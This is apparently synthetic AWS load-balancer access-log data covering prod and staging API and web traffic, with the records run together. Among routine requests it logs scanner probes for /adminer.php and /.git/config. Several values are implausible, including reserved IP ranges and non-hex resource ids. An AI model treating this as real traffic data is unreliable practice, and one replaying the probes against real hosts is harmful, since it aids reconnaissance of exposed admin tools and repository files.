"Root=1-6723e018-531a70bed3ed4d51ac7ffd4a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:52:56.869010Z "forward" "-" "-" "10.0.191.235:443" "301" "-" "-" -https 2024-11-01T02:52:57.371926Z staging-alb 83.236.109.120:21956 115.26.116.111:443 0.058598 0.242147 0.019289 301 301 216 4892 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e019-cce0075543ff4c4ab5f84561" "staging-alb.example.com" "-" 0 2024-11-01T02:52:57.371926Z "forward" "-" "-" "115.26.116.111:443" "301" "-" "-" -https 2024-11-01T02:52:58.662453Z prod-api-alb 134.237.141.17:46980 10.0.239.178:443 0.001661 0.320733 0.019303 200 200 487 11997 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e01a-ebc55cd9bcf243cca85ca7e8" "prod-api-alb.example.com" "-" 10 2024-11-01T02:52:58.662453Z "forward" "-" "-" "10.0.239.178:443" "200" "-" "-" -https 2024-11-01T02:52:59.312485Z prod-api-alb 187.154.203.79:11416 10.0.143.128:443 0.041228 0.298903 0.035964 200 200 902 14690 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e01b-1f4263d8c5604e3f97f7f0a2" "prod-api-alb.example.com" "-" 3 2024-11-01T02:52:59.312485Z "forward" "-" "-" "10.0.143.128:443" "200" "-" "-" -https 2024-11-01T02:53:01.179399Z prod-api-alb 231.112.167.59:11148 10.0.15.191:443 0.004999 0.449286 0.034694 404 404 820 445 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e01d-889bcd18f620403197af48c1" "prod-api-alb.example.com" "-" 3 2024-11-01T02:53:01.179399Z "forward" "-" "-" "10.0.15.191:443" "404" "-" "-" -https 2024-11-01T02:53:02.064284Z prod-api-alb 234.209.216.66:35452 10.0.75.89:443 0.082132 0.409888 0.011456 302 302 744 12210 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e01e-290341d4c070404795bd9af1" "prod-api-alb.example.com" "-" 4 2024-11-01T02:53:02.064284Z "forward" "-" "-" "10.0.75.89:443" "302" "-" "-" -https 2024-11-01T02:53:03.367399Z prod-api-alb 47.36.119.220:47004 10.0.46.190:443 0.042825 0.283366 0.057400 200 200 796 7696 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e01f-b8e3db50c42e41d6a218cc49" "prod-api-alb.example.com" "-" 2 2024-11-01T02:53:03.367399Z "forward" "-" "-" "10.0.46.190:443" "200" "-" "-" -https 2024-11-01T02:53:04.628467Z prod-web-alb 166.91.167.200:18192 10.0.50.227:443 0.075604 0.382800 0.072704 200 200 600 11217 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e020-e636181d795843018105e3ac" "prod-web-alb.example.com" "-" 10 2024-11-01T02:53:04.628467Z "forward" "-" "-" "10.0.50.227:443" "200" "-" "-" -https 2024-11-01T02:53:06.094399Z staging-alb 226.234.164.61:64774 83.82.170.211:8080 0.090275 0.450038 0.127180 200 200 802 11970 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e022-aaf0a63fb9484d58a1199f5a" "staging-alb.example.com" "-" 5 2024-11-01T02:53:06.094399Z "forward" "-" "-" "83.82.170.211:8080" "200" "-" "-" -https 2024-11-01T02:53:06.196818Z prod-api-alb 102.102.22.75:51203 10.0.181.11:443 0.016413 0.370102 0.054648 200 200 282 12223 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e022-3f124417b3f64130be9d5fcd" "prod-api-alb.example.com" "-" 7 2024-11-01T02:53:06.196818Z "forward" "-" "-" "10.0.181.11:443" "200" "-" "-" -https 2024-11-01T02:53:08.128410Z prod-api-alb 45.155.205.251:53849 10.0.140.37:443 0.046086 0.193957 0.087821 301 301 460 6001 "GET /adminer.php HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e024-19a1bc7ae6a8499585f510e8" "-" "-" 0 2024-11-01T02:53:08.128410Z "forward" "-" "-" "10.0.140.37:443" "301" "-" "-" -https 2024-11-01T02:53:09.911338Z staging-alb 38.246.38.109:35826 2.104.153.101:443 0.038272 0.365838 0.061071 200 200 575 2603 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e025-583e93d772ca4318ad8e2b6f" "staging-alb.example.com" "-" 5 2024-11-01T02:53:09.911338Z "forward" "-" "-" "2.104.153.101:443" "200" "-" "-" -https 2024-11-01T02:53:10.269527Z prod-api-alb 204.77.120.96:27496 10.0.2.196:443 0.027935 0.495938 0.097349 200 200 783 10536 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e026-e935195277de499bb87af0b8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:53:10.269527Z "forward" "-" "-" "10.0.2.196:443" "200" "-" "-" -https 2024-11-01T02:53:11.928881Z prod-web-alb 123.78.167.163:39324 10.0.3.151:443 0.013366 0.260702 0.066424 404 404 253 7864 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e027-447d970d864f47fc83247ec1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:53:11.928881Z "forward" "-" "-" "10.0.3.151:443" "404" "-" "-" -https 2024-11-01T02:53:12.282066Z prod-web-alb 188.44.192.206:62848 10.0.8.237:443 0.031432 0.121551 0.075150 404 404 901 1510 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e028-b5675a0d195f474ca27b3c26" "prod-web-alb.example.com" "-" 3 2024-11-01T02:53:12.282066Z "forward" "-" "-" "10.0.8.237:443" "404" "-" "-" -https 2024-11-01T02:53:12.694989Z prod-web-alb 102.167.218.1:20494 10.0.35.144:443 0.024964 0.247150 0.047382 200 200 712 10662 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e028-42fc92419db04036914d6441" "prod-web-alb.example.com" "-" 3 2024-11-01T02:53:12.694989Z "forward" "-" "-" "10.0.35.144:443" "200" "-" "-" -https 2024-11-01T02:53:13.186017Z staging-alb 100.86.162.102:62493 138.226.45.40:80 0.057397 0.538176 0.113350 200 200 562 7081 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e029-25646ad9fdde4884a3bc243b" "staging-alb.example.com" "-" 5 2024-11-01T02:53:13.186017Z "forward" "-" "-" "138.226.45.40:80" "200" "-" "-" -https 2024-11-01T02:53:14.284562Z prod-web-alb 71.41.47.160:15800 10.0.138.32:443 0.083462 0.023907 0.067546 404 404 18 11308 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e02a-c4ccb0d7508541deb2e8a345" "prod-web-alb.example.com" "-" 8 2024-11-01T02:53:14.284562Z "forward" "-" "-" "10.0.138.32:443" "404" "-" "-" -https 2024-11-01T02:53:15.086086Z prod-web-alb 154.82.173.163:64669 10.0.252.150:443 0.042084 0.191761 0.075097 200 200 174 2704 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e02b-0ec697ace9e44a5b806d137a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:53:15.086086Z "forward" "-" "-" "10.0.252.150:443" "200" "-" "-" -https 2024-11-01T02:53:16.371692Z staging-alb 188.208.149.92:39719 67.142.29.195:8080 0.016916 0.633326 0.004086 200 200 724 13519 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e02c-7863a441cfd84110af796d1a" "staging-alb.example.com" "-" 9 2024-11-01T02:53:16.371692Z "forward" "-" "-" "67.142.29.195:8080" "200" "-" "-" -https 2024-11-01T02:53:17.240125Z prod-api-alb 20.89.142.169:39134 10.0.135.235:443 0.041941 0.135069 0.055414 200 200 623 11243 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e02d-d350c4afe7b94953bf0466f1" "prod-api-alb.example.com" "-" 2 2024-11-01T02:53:17.240125Z "forward" "-" "-" "10.0.135.235:443" "200" "-" "-" -https 2024-11-01T02:53:17.431559Z staging-alb 41.11.28.163:21099 204.1.118.168:80 0.056576 0.209299 0.134672 302 302 612 10309 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e02d-92f59a252c6a47988fc4ccd6" "staging-alb.example.com" "-" 6 2024-11-01T02:53:17.431559Z "forward" "-" "-" "204.1.118.168:80" "302" "-" "-" -https 2024-11-01T02:53:19.388555Z staging-alb 156.51.19.209:23442 223.109.164.117:80 0.044104 0.354101 0.043916 200 200 969 10302 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e02f-909edf03e5df42f6b9d7f197" "staging-alb.example.com" "-" 3 2024-11-01T02:53:19.388555Z "forward" "-" "-" "223.109.164.117:80" "200" "-" "-" -https 2024-11-01T02:53:21.191866Z staging-alb 57.65.95.24:53034 5.3.140.171:80 0.019216 0.262618 0.127849 200 200 137 12863 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e031-ebe1f496e15844e9b42f49dc" "staging-alb.example.com" "-" 9 2024-11-01T02:53:21.191866Z "forward" "-" "-" "5.3.140.171:80" "200" "-" "-" -https 2024-11-01T02:53:22.397030Z prod-api-alb 145.6.184.69:64498 10.0.78.216:443 0.052882 0.209365 0.022193 302 302 328 11684 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e032-33fdaa19d0d44f8384a10258" "prod-api-alb.example.com" "-" 9 2024-11-01T02:53:22.397030Z "forward" "-" "-" "10.0.78.216:443" "302" "-" "-" -https 2024-11-01T02:53:24.272129Z prod-web-alb 45.155.205.103:22881 10.0.64.230:443 0.088991 0.165159 0.075696 302 302 646 251 "POST /.git/config HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e034-a4aeae0f4b724ceeabff3ca7" "-" "-" 5 2024-11-01T02:53:24.272129Z "forward" "-" "-" "10.0.64.230:443" "302" "-" "-" -https 2024-11-01T02:53:25.883251Z prod-api-alb 35.43.5.146:63507 10.0.190.182:443 0.057315 0.056288 0.029540 200 200 111 13710 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e035-bcd5c96c026441b59831297f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:53:25.883251Z "forward" "-" "-" "10.0.190.182:443" "200" "-" "-" -https 2024-11-01T02:53:26.768056Z prod-web-alb 90.86.92.192:46048 10.0.53.240:443 0.076956 0.142297 0.064592 200 200 840 14420 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e036-c43764d2f7d043cfb9ce68ee" "prod-web-alb.example.com" "-" 6 2024-11-01T02:53:26.768056Z "forward" "-" "-" "10.0.53.240:443" "200" "-" "-" -https 2024-11-01T02:53:28.295629Z prod-web-alb 227.183.20.105:36027 10.0.139.177:443 0.000046 0.268582 0.002971 404 404 318 11399 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e038-d8989a5c9a894ce8bbb0df2f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:53:28.295629Z "forward" "-" "-" "10.0.139.177:443" "404" "-" "-" -https 2024-11-01T02:53:29.728238Z prod-api-alb 104.149.127.170:16734 10.0.233.207:443 0.043043 0.442063 0.074713 200 200 746 9991 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e039-2974bac936ba43a48731d0cb" "prod-api-alb.example.com" "-" 0 2024-11-01T02:53:29.728238Z "forward" "-" "-" "10.0.233.207:443" "200" "-" "-" -https 2024-11-01T02:53:31.109284Z prod-api-alb 155.26.9.245:23570 10.0.91.202:443 0.028036 0.049378 0.058707 200 200 95 6720 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e03b-5502175b9fbf4daaaa9bb854" "prod-api-alb.example.com" "-" 8 2024-11-01T02:53:31.109284Z "forward" "-" "-" "10.0.91.202:443" "200" "-" "-" -https 2024-11-01T02:53:32.072361Z prod-web-alb 72.10.43.254:24973 10.0.221.239:443 0.098893 0.146199 0.072251 200 200 240 6035 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e03c-124c70110bf944feb79b3003" "prod-web-alb.example.com" "-" 7 2024-11-01T02:53:32.072361Z "forward" "-" "-" "10.0.221.239:443" "200" "-" "-" -https 2024-11-01T02:53:33.674328Z staging-alb 222.184.132.153:19327 87.88.68.215:80 0.085614 0.041320 0.140940 200 200 600 10293 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e03d-763ce4df70ca46af8018f949" "staging-alb.example.com" "-" 6 2024-11-01T02:53:33.674328Z "forward" "-" "-" "87.88.68.215:80" "200" "-" "-" -https 2024-11-01T02:53:34.364499Z prod-web-alb 235.208.92.47:59004 10.0.251.242:443 0.052670 0.401659 0.074599 301 301 46 1648 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e03e-6812cd35c58e408cb2f089b5" "prod-web-alb.example.com" "-" 10 2024-11-01T02:53:34.364499Z "forward" "-" "-" "10.0.251.242:443" "301" "-" "-" -https 2024-11-01T02:53:36.094825Z staging-alb 237.65.9.63:55217 162.80.115.79:443 0.114102 0.094836 0.025824 301 301 144 6694 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e040-00ea68270f3f427794e4069e" "staging-alb.example.com" "-" 6 2024-11-01T02:53:36.094825Z "forward" "-" "-" "162.80.115.79:443" "301" "-" "-" -https 2024-11-01T02:53:37.022563Z staging-alb 68.222.66.27:40927 135.84.135.229:80 0.104256 0.443986 0.047767 200 200 510 8122 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e041-fa71e790f8114280a95f22ce" "staging-alb.example.com" "-" 1 2024-11-01T02:53:37.022563Z "forward" "-" "-" "135.84.135.229:80" "200" "-" "-" -https 2024-11-01T02:53:38.757159Z prod-web-alb 55.145.156.191:27837 10.0.21.95:443 0.053885 0.104301 0.089336 200 200 352 5488 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e042-de877158c72f4355856690c2" "prod-web-alb.example.com" "-" 3 2024-11-01T02:53:38.757159Z "forward" "-" "-" "10.0.21.95:443" "200" "-" "-" -https 2024-11-01T02:53:40.750016Z prod-api-alb 30.138.175.64:12514 10.0.29.245:443 0.041298 0.368048 0.094450 200 200 795 7572 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e044-bbbd900dc383410cac6e7ce5" "prod-api-alb.example.com" "-" 10 2024-11-01T02:53:40.750016Z "forward" "-" "-" "10.0.29.245:443" "200" "-" "-" -https 2024-11-01T02:53:41.594359Z prod-api-alb 16.39.232.81:48225 10.0.113.225:443 0.035501 0.275579 0.004786 302 302 474 460 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e045-faaed98582944b08802e428d" "prod-api-alb.example.com" "-" 10 2024-11-01T02:53:41.594359Z "forward" "-" "-" "10.0.113.225:443" "302" "-" "-" -https 2024-11-01T02:53:41.717725Z staging-alb 60.222.234.8:20052 213.189.81.47:443 0.041482 0.187193 0.079255 302 302 217 5560 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e045-9e8c32a95cd54db2a54e1ef8" "staging-alb.example.com" "-" 0 2024-11-01T02:53:41.717725Z "forward" "-" "-" "213.189.81.47:443" "302" "-" "-" -http 2024-11-01T02:53:43.349840Z staging-alb 79.131.180.159:25062 11.84.104.13:443 0.139872 0.681218 0.066359 200 200 974 13415 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e047-8912c5c4ad8b44cab8ff1ce5" "staging-alb.example.com" "-" 6 2024-11-01T02:53:43.349840Z "forward" "-" "-" "11.84.104.13:443" "200" "-" "-" -http 2024-11-01T02:53:44.602458Z staging-alb 50.210.153.31:53673 138.229.198.25:80 0.010687 0.701216 0.011617 200 200 732 12110 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e048-eff4ab8f8511483299a9fb99" "staging-alb.example.com" "-" 5 2024-11-01T02:53:44.602458Z "forward" "-" "-" "138.229.198.25:80" "200" "-" "-" -http 2024-11-01T02:53:44.960205Z staging-alb 47.87.120.187:63836 251.9.65.250:80 0.073802 0.565315 0.145268 200 200 13 14367 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e048-bf814ae2d3554d63b1a5f7dc" "-" "-" 3 2024-11-01T02:53:44.960205Z "forward" "-" "-" "251.9.65.250:80" "200" "-" "-" -http 2024-11-01T02:53:46.896106Z staging-alb 216.228.108.32:42690 242.37.227.47:8080 0.092860 0.288666 0.074515 404 404 60 2677 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e04a-1daedf2237ef45aaafd9d3bc" "staging-alb.example.com" "-" 5 2024-11-01T02:53:46.896106Z "forward" "-" "-" "242.37.227.47:8080" "404" "-" "-" -https 2024-11-01T02:53:47.431716Z prod-api-alb 165.101.221.152:17590 10.0.154.54:443 0.068049 0.110781 0.025797 200 200 282 3048 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e04b-18a73336ca5a49e68f1c2b8c" "prod-api-alb.example.com" "-" 0 2024-11-01T02:53:47.431716Z "forward" "-" "-" "10.0.154.54:443" "200" "-" "-" -https 2024-11-01T02:53:47.766576Z prod-api-alb 59.220.70.115:18965 10.0.92.100:443 0.098395 0.188004 0.035949 200 200 837 11002 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e04b-3290cde58024436a99f1fb97" "prod-api-alb.example.com" "-" 10 2024-11-01T02:53:47.766576Z "forward" "-" "-" "10.0.92.100:443" "200" "-" "-" -https 2024-11-01T02:53:49.266901Z prod-api-alb 153.11.98.46:62266 10.0.181.101:443 0.067713 0.093605 0.026721 200 200 130 11363 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e04d-df81ae6d49e74cc5b4d6c2ed" "prod-api-alb.example.com" "-" 7 2024-11-01T02:53:49.266901Z "forward" "-" "-" "10.0.181.101:443" "200" "-" "-" -https 2024-11-01T02:53:49.572199Z prod-api-alb 254.106.253.49:28039 10.0.107.211:443 0.070932 0.210210 0.046540 200 200 565 1689 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e04d-a4ec0dda85994289aec37173" "prod-api-alb.example.com" "-" 0 2024-11-01T02:53:49.572199Z "forward" "-" "-" "10.0.107.211:443" "200" "-" "-" -https 2024-11-01T02:53:50.606491Z staging-alb 179.101.174.23:40138 22.210.100.182:443 0.009897 0.128004 0.067702 301 301 278 12047 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e04e-8d4f0170fbc54a7f8a5d8ccd" "staging-alb.example.com" "-" 10 2024-11-01T02:53:50.606491Z "forward" "-" "-" "22.210.100.182:443" "301" "-" "-" -http 2024-11-01T02:53:51.861110Z staging-alb 233.220.50.124:10987 64.108.32.152:80 0.138719 0.372366 0.097274 200 200 599 13486 "GET /web/test HTTP/1.1" "curl/7.64.1" 